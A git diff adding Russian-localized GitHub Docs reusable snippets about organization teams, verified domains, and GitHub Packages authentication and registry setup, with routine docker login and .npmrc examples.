ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878618" +--- +1. В верхней части страницы команды щелкните {% octicon "organization" aria-label="The members symbol" %} **Участники**. +![Вкладка Члены](/assets/images/help/teams/members-tab.png) diff --git a/translations/ru-RU/data/reusables/organizations/team_name.md b/translations/ru-RU/data/reusables/organizations/team_name.md new file mode 100644 index 000000000000..1c367d87d2a4 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team_name.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 30bedf66ee77505d10e61e96cb67b125b5d4fc8d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122160" +--- +1. В разделе "Создание новой команды" введите имя новой команды. +![Поле названия команды](/assets/images/help/teams/org-new-team-name.png) diff --git a/translations/ru-RU/data/reusables/organizations/team_settings.md b/translations/ru-RU/data/reusables/organizations/team_settings.md new file mode 100644 index 000000000000..f6d6d38b085f --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team_settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d0d044be5ff247b9ad220590e3b8c21fe860f93c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122155" +--- +1. В верхней части страницы команды щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. +![Вкладка "Параметры команды"](/assets/images/help/teams/team-settings-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/team_visibility.md b/translations/ru-RU/data/reusables/organizations/team_visibility.md new file mode 100644 index 000000000000..b54d13807bc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team_visibility.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 67f5f07f34ba7331f72fe9ab2aaf0a16c22c95c7 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122152" +--- +1. Определите, будет ли команда отображаемой или секретной. +![Параметры видимости, включая отображаемое и секретное состояние](/assets/images/help/teams/new-team-visibility.png) diff --git a/translations/ru-RU/data/reusables/organizations/teams.md b/translations/ru-RU/data/reusables/organizations/teams.md new file mode 100644 index 000000000000..55600311cf1c --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/teams.md @@ -0,0 +1,6 @@ +1. Under your organization name, click {% octicon "people" aria-label="The people icon" %} **Teams**. + {% ifversion fpt or ghes or ghec %} + ![Teams tab on the organization page](/assets/images/help/organizations/organization-teams-tab-with-overview.png) + {% else %} + ![Teams tab on the organization page](/assets/images/help/organizations/organization-teams-tab.png) + {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/teams_sidebar.md b/translations/ru-RU/data/reusables/organizations/teams_sidebar.md new file mode 100644 index 000000000000..2c794e378974 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/teams_sidebar.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Access" section of the sidebar, click **{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} Team discussions**. +{% else %} +1. In the Settings sidebar, click **Teams**. + ![Teams tab in the organization settings sidebar](/assets/images/help/settings/settings-sidebar-team-settings.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/types-of-team-visibility.md b/translations/ru-RU/data/reusables/organizations/types-of-team-visibility.md new file mode 100644 index 000000000000..8804aaf990e2 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/types-of-team-visibility.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 4382f549f709e0ecdeb5a578cbfa8bd05bab4ce8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122139" +--- +Команды могут быть видимыми или секретными: + +- Видимые команды могут [просматриваться и упоминаться (@mentioned](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)) каждым участником организации. +- Секретные команды видны только людям в команде и людям с разрешениями владельца. Они хорошо подходят для скрытия команд с конфиденциальными названиями или участниками, например, тех, которые используются для работы с внешними партнерами или клиентами. Секретные команды не могут быть вложены в родительские команды или иметь дочерние команды. diff --git a/translations/ru-RU/data/reusables/organizations/user_must_accept_invite_email.md b/translations/ru-RU/data/reusables/organizations/user_must_accept_invite_email.md new file mode 100644 index 000000000000..6b9dd7ffcee7 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/user_must_accept_invite_email.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b1941b204e6ddb26aa6a1d578dd7408882cbfcd0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122131" +--- +1. Приглашенный человек получит электронное письмо с приглашением в организацию. Чтобы стать членом организации, человек должен принять это приглашение. diff --git a/translations/ru-RU/data/reusables/organizations/verified-domains-details.md b/translations/ru-RU/data/reusables/organizations/verified-domains-details.md new file mode 100644 index 000000000000..a5c75593ead3 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/verified-domains-details.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f91d17de8489b3a348382f36fd8c6925a06c3b31 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878642" +--- +Чтобы отобразить значок "Проверено", веб-сайт и сведения электронной почты, отображаемые в профиле организации, должны соответствовать одному или нескольким проверенным доменам. Если веб-сайт и адрес электронной почты, отображаемые в профиле вашей организации, размещаются в разных доменах, необходимо проверить оба домена. Если веб-сайт и адрес электронной почты используют варианты одного домена, необходимо проверить оба варианта. Например, если в профиле отображается веб-сайт `www.example.com` и адрес электронной почты `info@example.com`, необходимо проверить как `www.example.com`, так и `example.com`. diff --git a/translations/ru-RU/data/reusables/organizations/verified-domains.md b/translations/ru-RU/data/reusables/organizations/verified-domains.md new file mode 100644 index 000000000000..ca6ecc74c25f --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/verified-domains.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Security" section of the sidebar, click **{% octicon "verified" aria-label="The verified icon" %} Verified and approved domains**. +{% else %} +1. In the left sidebar, click **Verified & approved domains**. +!["Verified & approved domains" tab](/assets/images/help/organizations/verified-domains-button.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/watch-team-options.md b/translations/ru-RU/data/reusables/organizations/watch-team-options.md new file mode 100644 index 000000000000..016de7bb5cd9 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/watch-team-options.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4a0747297369c3643e5a62fcbf49082db5ce3326 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122083" +--- +1. В левой части страницы команды под именем команды diff --git a/translations/ru-RU/data/reusables/package_registry/about-docker-labels.md b/translations/ru-RU/data/reusables/package_registry/about-docker-labels.md new file mode 100644 index 000000000000..e396a0976e4e --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/about-docker-labels.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 16f648668d77bbb0748e181767b51d1130b6a9d4 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109312" +--- +Метки Docker можно использовать для добавления метаданных, включая описание, лицензию и исходный репозиторий в образ контейнера. diff --git a/translations/ru-RU/data/reusables/package_registry/about-packaging-and-actions.md b/translations/ru-RU/data/reusables/package_registry/about-packaging-and-actions.md new file mode 100644 index 000000000000..beccabf76b6e --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/about-packaging-and-actions.md @@ -0,0 +1,35 @@ +--- +ms.openlocfilehash: 9e47cc05dec3bbdef729dfc6a06eff8056dd9502 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122080" +--- +### Упаковка в рабочие процессы непрерывной интеграции + +Этап упаковки — это обычная часть рабочего процесса непрерывной интеграции или непрерывной поставки. Создание пакета в конце рабочего процесса непрерывной интеграции может помочь во время проверок кода по запросу на вытягивание. + +После сборки и тестирования кода на шаге упаковки можно создать запускаемый или развертываемый артефакт. В зависимости от типа приложения, которое вы создаете, этот пакет можно скачать локально для ручного тестирования, сделать доступным для загрузки пользователями или развернуть в промежуточной или рабочей среде. + +Например, рабочий процесс непрерывной интеграции для проекта Java может запускать `mvn package` для создания файла JAR. Или рабочий процесс CI для приложения Node.js может создавать контейнер Docker. + +Теперь, при проверке запроса на вытягивание вы сможете просмотреть рабочий процесс и загрузить созданный артефакт. + +![Раскрывающееся меню скачивания артефакта](/assets/images/help/repository/artifact-drop-down-updated.png) + +Позволит вам запустить код в запросе на вытягивание на вашем компьютере, что может помочь при отладке или тестировании запроса на вытягивание. + +### Рабочие процессы для публикации пакетов + +В дополнение к отправке артефактов упаковки для тестирования в рабочем процессе непрерывной интеграции вы сможете создавать рабочие процессы, которые формируют ваш проект и публикуют пакеты в реестре пакетов. + +* **Публикация пакетов в {% data variables.product.prodname_registry %}** + {% data variables.product.prodname_registry %} может выступать в качестве службы размещения пакетов для многих типов пакетов. Вы можете поделиться своими пакетами со всеми на {% data variables.product.prodname_dotcom %}, или выбрать частные пакеты, чтобы поделиться с участниками совместной работы или организацией. Дополнительные сведения см. в статье [Общие сведения о GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages). + + Вы можете опубликовать пакеты в {% data variables.product.prodname_registry %} при каждой отправке в ветвь по умолчанию. Это позволит разработчикам проекта всегда выполнять и тестировать последнюю сборку из ветви по умолчанию, установив ее из {% data variables.product.prodname_registry %}. + +* **Публикация пакетов в реестр пакетов** + Для многих проектов публикация в реестр пакетов выполняется всякий раз, когда выпускается новая версия проекта. Например, проект, создающий файл JAR, может загружать новые выпуски в репозиторий Maven Central. Или проект .NET может создать пакет NuGet и отправить его в коллекцию NuGet. + + Это можно автоматизировать, создав рабочий процесс, который публикует пакеты в реестре пакетов при каждом создании выпуска. Дополнительные сведения см. в разделе [Создание выпусков](/github/administering-a-repository/creating-releases). diff --git a/translations/ru-RU/data/reusables/package_registry/actions-configuration.md b/translations/ru-RU/data/reusables/package_registry/actions-configuration.md new file mode 100644 index 000000000000..f14b9081adc7 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/actions-configuration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6844e45b5215a0b6e2981531af56f31e2eb95dd3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122072" +--- +Действия по настройке зависят от клиента пакета. Общие сведения о настройке рабочего процесса для {% data variables.product.prodname_actions %}см. в разделе [Настройка рабочего процесса](/github/automating-your-workflow-with-github-actions/configuring-a-workflow). diff --git a/translations/ru-RU/data/reusables/package_registry/add-npmrc-to-repo-step.md b/translations/ru-RU/data/reusables/package_registry/add-npmrc-to-repo-step.md new file mode 100644 index 000000000000..60df6daa643d --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/add-npmrc-to-repo-step.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9f369d27bc72e0d1411291517a208ae24e4450ec +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122067" +--- +3. Добавьте файл *NPMRC* в репозиторий, где {% data variables.product.prodname_registry %} может найти ваш проект. Дополнительные сведения см. в разделе [Добавление файла в репозиторий](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository). diff --git a/translations/ru-RU/data/reusables/package_registry/admins-can-configure-package-types.md b/translations/ru-RU/data/reusables/package_registry/admins-can-configure-package-types.md new file mode 100644 index 000000000000..f6058034b514 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/admins-can-configure-package-types.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 05d7ccf842556884ed9ff1e8b995de4e3e5bb6f7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122059" +--- +{% ifversion ghes %} {% note %} + +**Примечание**. Этот тип пакета может быть недоступен для вашего экземпляра, так как администраторы сайта могут включать или отключать каждый поддерживаемый тип пакета. Дополнительные сведения см. в разделе [Настройка поддержки пакетов для предприятия](/enterprise/admin/packages/configuring-packages-support-for-your-enterprise). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/apache-maven-snapshot-versions-supported.md b/translations/ru-RU/data/reusables/package_registry/apache-maven-snapshot-versions-supported.md new file mode 100644 index 000000000000..71af1ee618c8 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/apache-maven-snapshot-versions-supported.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dbf0cae29ccdd5ec9cf6c5fd8c3bc80e10c2bc60 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122064" +--- +{% data variables.product.prodname_registry %} поддерживает версии `SNAPSHOT` средства Apache Maven. Чтобы использовать репозиторий {% data variables.product.prodname_registry %} для скачивания артефактов `SNAPSHOT`, включите SNAPSHOTS в POM используемого проекта или своем файле *~/.m2/settings.xml*. diff --git a/translations/ru-RU/data/reusables/package_registry/authenticate-packages-github-token.md b/translations/ru-RU/data/reusables/package_registry/authenticate-packages-github-token.md new file mode 100644 index 000000000000..98c8f24a3327 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/authenticate-packages-github-token.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ffedc85661e0be9467f5efb9e3dea07c7adf01b7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122075" +--- +Дополнительные сведения об `GITHUB_TOKEN`, используемом в рабочих процессах {% data variables.product.prodname_actions %}, см. в разделе [Проверка подлинности в рабочем процессе](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow). diff --git a/translations/ru-RU/data/reusables/package_registry/authenticate-packages.md b/translations/ru-RU/data/reusables/package_registry/authenticate-packages.md new file mode 100644 index 000000000000..bc3e424d238e --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/authenticate-packages.md @@ -0,0 +1,9 @@ +{% data reusables.package_registry.packages-classic-pat-only %} + +You need an access token to publish, install, and delete private, internal, and public packages. + +You can use a {% data variables.product.pat_v1 %} to authenticate to {% data variables.product.prodname_registry %} or the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. When you create a {% data variables.product.pat_v1 %}, you can assign the token different scopes depending on your needs. For more information about packages-related scopes for a {% data variables.product.pat_v1 %}, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)." + +To authenticate to a {% data variables.product.prodname_registry %} registry within a {% data variables.product.prodname_actions %} workflow, you can use: +- `GITHUB_TOKEN` to publish packages associated with the workflow repository. +- a {% data variables.product.pat_v1 %} with at least `packages:read` scope to install packages associated with other private repositories (which `GITHUB_TOKEN` can't access). diff --git a/translations/ru-RU/data/reusables/package_registry/authenticate-step.md b/translations/ru-RU/data/reusables/package_registry/authenticate-step.md new file mode 100644 index 000000000000..0bd8b95fd610 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/authenticate-step.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1f643f1c8a41da3131af13bbe99550ba86800db7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122016" +--- +1. Пройдите проверку подлинности в {% data variables.product.prodname_registry %}. Дополнительные сведения см. в разделе [Проверка подлинности в {% data variables.product.prodname_registry %}](#authenticating-to-github-packages). diff --git a/translations/ru-RU/data/reusables/package_registry/authenticate-to-container-registry-steps.md b/translations/ru-RU/data/reusables/package_registry/authenticate-to-container-registry-steps.md new file mode 100644 index 000000000000..cc61c65d06ac --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/authenticate-to-container-registry-steps.md @@ -0,0 +1,26 @@ +{% data reusables.package_registry.packages-classic-pat-only %} + +1. Create a new {% data variables.product.pat_v1 %} with the appropriate scopes for the tasks you want to accomplish. If your organization requires SSO, you must enable SSO for your new token. + {% warning %} + + **Note:** By default, when you select the `write:packages` scope for your {% data variables.product.pat_v1 %} in the user interface, the `repo` scope will also be selected. The `repo` scope offers unnecessary and broad access, which we recommend you avoid using for {% data variables.product.prodname_actions %} workflows in particular. For more information, see "[Security hardening for GitHub Actions](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access)." As a workaround, you can select just the `write:packages` scope for your {% data variables.product.pat_v1 %} in the user interface with this url: `https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/settings/tokens/new?scopes=write:packages`. + + {% endwarning %} + + - Select the `read:packages` scope to download container images and read their metadata. + - Select the `write:packages` scope to download and upload container images and read and write their metadata. + - Select the `delete:packages` scope to delete container images. + + For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)." + +2. Save your {% data variables.product.pat_v1 %}. We recommend saving your token as an environment variable. + ```shell + $ export CR_PAT=YOUR_TOKEN + ``` +3. Using the CLI for your container type, sign in to the {% data variables.product.prodname_container_registry %} service at `{% data reusables.package_registry.container-registry-hostname %}`. + {% raw %} + ```shell + $ echo $CR_PAT | docker login {% endraw %}{% data reusables.package_registry.container-registry-hostname %}{% raw %} -u USERNAME --password-stdin + > Login Succeeded + ``` + {% endraw %} diff --git a/translations/ru-RU/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md b/translations/ru-RU/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md new file mode 100644 index 000000000000..06d2ebca4358 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 902af6bdbe3c48fe8b5930bdf1041151f343b60b +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148113868" +--- +Если рабочий процесс использует {% data variables.product.pat_generic %} для проверки подлинности в реестре, мы настоятельно рекомендуем обновить рабочий процесс для использования `GITHUB_TOKEN`. + +{% ifversion fpt or ghec %} Инструкции по обновлению рабочих процессов, которые проходят проверку подлинности в реестре с помощью {% data variables.product.pat_generic %}, см. в разделе [Обновление рабочего процесса, который обращается к реестру с помощью {% data variables.product.pat_generic %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions#upgrading-a-workflow-that-accesses-a-registry-using-a-personal-access-token). {% endif %} + +Дополнительные сведения о `GITHUB_TOKEN` см. в разделе [Проверка подлинности в рабочем процессе](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow). + +Дополнительные сведения о рекомендациях по использованию реестра в действиях см. в разделе Защита [безопасности для GitHub Actions](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access). diff --git a/translations/ru-RU/data/reusables/package_registry/checksum-maven-plugin.md b/translations/ru-RU/data/reusables/package_registry/checksum-maven-plugin.md new file mode 100644 index 000000000000..4c3f55298e56 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/checksum-maven-plugin.md @@ -0,0 +1,32 @@ +--- +ms.openlocfilehash: 2ca2056a8941ee42d41803dd0e8570c1e2877a89 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878661" +--- +{%- ifversion ghae %} +1. В элементе `plugins` файла *pom.xml* добавьте подключаемый модуль [checksum-maven-plugin](https://search.maven.org/artifact/net.nicoulaj.maven.plugins/checksum-maven-plugin) и настройте этот подключаемый модуль для отправки по меньшей мере контрольных сумм SHA-256. + ```xml + + + net.nicoulaj.maven.plugins + checksum-maven-plugin + 1.9 + + + + artifacts + + + + + + SHA-256 + + + + + ``` +{%- endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/container-registry-benefits.md b/translations/ru-RU/data/reusables/package_registry/container-registry-benefits.md new file mode 100644 index 000000000000..5aec6dcd2bc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/container-registry-benefits.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fdc903f5b66d0e676e54ee3412f7ec39d926d77f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410819" +--- +{% data variables.product.prodname_container_registry %} хранит образы контейнеров в вашей организации или личной учетной записи и позволяет связать образ с репозиторием. Можно указать, нужно ли наследовать разрешения из репозитория или задавать детализированные разрешения независимо от репозитория. Кроме того, можно анонимно выполнять доступ к открытым образам контейнеров. diff --git a/translations/ru-RU/data/reusables/package_registry/container-registry-example-hostname.md b/translations/ru-RU/data/reusables/package_registry/container-registry-example-hostname.md new file mode 100644 index 000000000000..a5bfff314976 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/container-registry-example-hostname.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b61a9c38e261a31196efca0ccbddf20f34ba8617 +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885030" +--- +containers.github.companyname.com diff --git a/translations/ru-RU/data/reusables/package_registry/container-registry-ghes-beta.md b/translations/ru-RU/data/reusables/package_registry/container-registry-ghes-beta.md new file mode 100644 index 000000000000..83ca21a6e557 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/container-registry-ghes-beta.md @@ -0,0 +1,11 @@ +{% ifversion ghes > 3.4 %} + +{% note %} + +**Note**: {% data variables.product.prodname_container_registry %} is currently in beta for {% data variables.product.product_name %} and subject to change. + +Both {% data variables.product.prodname_registry %} and subdomain isolation must be enabled to use {% data variables.product.prodname_container_registry %}. For more information, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/container-registry-ghes-migration-availability.md b/translations/ru-RU/data/reusables/package_registry/container-registry-ghes-migration-availability.md new file mode 100644 index 000000000000..43b535c28fa3 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/container-registry-ghes-migration-availability.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4a39732206e0ad91422acfb3977ba7bea7d0b283 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109519" +--- +{% data variables.product.product_name %} 3.6 поддерживает миграцию образов Docker, которые хранятся в организациях. Будущий выпуск будет поддерживать миграцию образов, которыми владеет пользователь. diff --git a/translations/ru-RU/data/reusables/package_registry/container-registry-hostname.md b/translations/ru-RU/data/reusables/package_registry/container-registry-hostname.md new file mode 100644 index 000000000000..a5c37d2f202d --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/container-registry-hostname.md @@ -0,0 +1 @@ +{% ifversion fpt or ghec %}ghcr.io{% elsif ghes > 3.4 %}containers.HOSTNAME{% else %}{% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/container-registry-migration-namespaces.md b/translations/ru-RU/data/reusables/package_registry/container-registry-migration-namespaces.md new file mode 100644 index 000000000000..d802a226ab46 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/container-registry-migration-namespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4e7556d36427552953116f56d71403963ed22e3e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410881" +--- +Все скрипты или рабочие процессы {% data variables.product.prodname_actions %}, использующие пространство имен для реестра Docker, {% data variables.product.prodname_docker_registry_namespace %}, будут продолжать работать после миграции в {% data variables.product.prodname_container_registry %} в {% data variables.product.prodname_container_registry_namespace %}. diff --git a/translations/ru-RU/data/reusables/package_registry/container-registry-replaces-docker-registry.md b/translations/ru-RU/data/reusables/package_registry/container-registry-replaces-docker-registry.md new file mode 100644 index 000000000000..828ed3bfa0a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/container-registry-replaces-docker-registry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e77f293a0b84b67d66f9e20f21450d2b8be7ae6c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410843" +--- +{% data variables.product.prodname_container_registry %} заменяет реестр Docker {% data variables.product.company_short %}. diff --git a/translations/ru-RU/data/reusables/package_registry/create-npmrc-owner-step.md b/translations/ru-RU/data/reusables/package_registry/create-npmrc-owner-step.md new file mode 100644 index 000000000000..a14f4f980bc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/create-npmrc-owner-step.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: aed38f3bac029ba576c409188e4c4bc8499a52d0 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148008942" +--- +2. В том же каталоге, где находится файл `package.json`, создайте или измените файл `.npmrc`, чтобы включить в него строку с указанием URL-адреса {% data variables.product.prodname_registry %} и владельца учетной записи. Замените `OWNER` именем учетной записи организации пользователя, которая владеет репозиторием, содержащим ваш проект. + +{% ifversion fpt or ghec %} + ```shell + @OWNER:registry=https://npm.pkg.github.com + ``` +{% else %} Если изоляция поддомена включена: + ```shell + @OWNER:registry=https://npm.HOSTNAME + ``` + Если изоляция поддомена отключена: + ```shell + @OWNER:registry=https://HOSTNAME/_registry/npm + ``` +{% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/default-name.md b/translations/ru-RU/data/reusables/package_registry/default-name.md new file mode 100644 index 000000000000..f7251b0991f3 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/default-name.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 56c4fc4f0f8ec78f01bb9b2bffca81835d7dc9ce +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145121979" +--- +По умолчанию {% data variables.product.prodname_dotcom %} публикует пакет в существующем репозитории с тем же именем, что и у пакета. diff --git a/translations/ru-RU/data/reusables/package_registry/docker_registry_deprecation_status.md b/translations/ru-RU/data/reusables/package_registry/docker_registry_deprecation_status.md new file mode 100644 index 000000000000..d60394c46f7f --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/docker_registry_deprecation_status.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 225a7dce2ad1fd3e5ad15c0c7324407e8376916d +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878732" +--- +{% warning %} + +**Примечание**. Реестр Docker {% data variables.product.prodname_registry %} {% ifversion ghes or ghae %} в будущем выпуске {% data variables.product.product_name %} будет заменен на {% data variables.product.prodname_container_registry %}, который обеспечивает улучшенную поддержку контейнеров.{% elsif fpt %} заменяется на {% data variables.product.prodname_container_registry %}, который обеспечивает улучшенную поддержку контейнеров. {% endif %} {% ifversion fpt or ghec %} Дополнительные сведения см. в разделе [Миграция на {% data variables.product.prodname_container_registry %} с реестра Docker](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry). {% endif %} + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/package_registry/enable-enterprise-github-packages.md b/translations/ru-RU/data/reusables/package_registry/enable-enterprise-github-packages.md new file mode 100644 index 000000000000..51d2a34d99ce --- /dev/null +++ 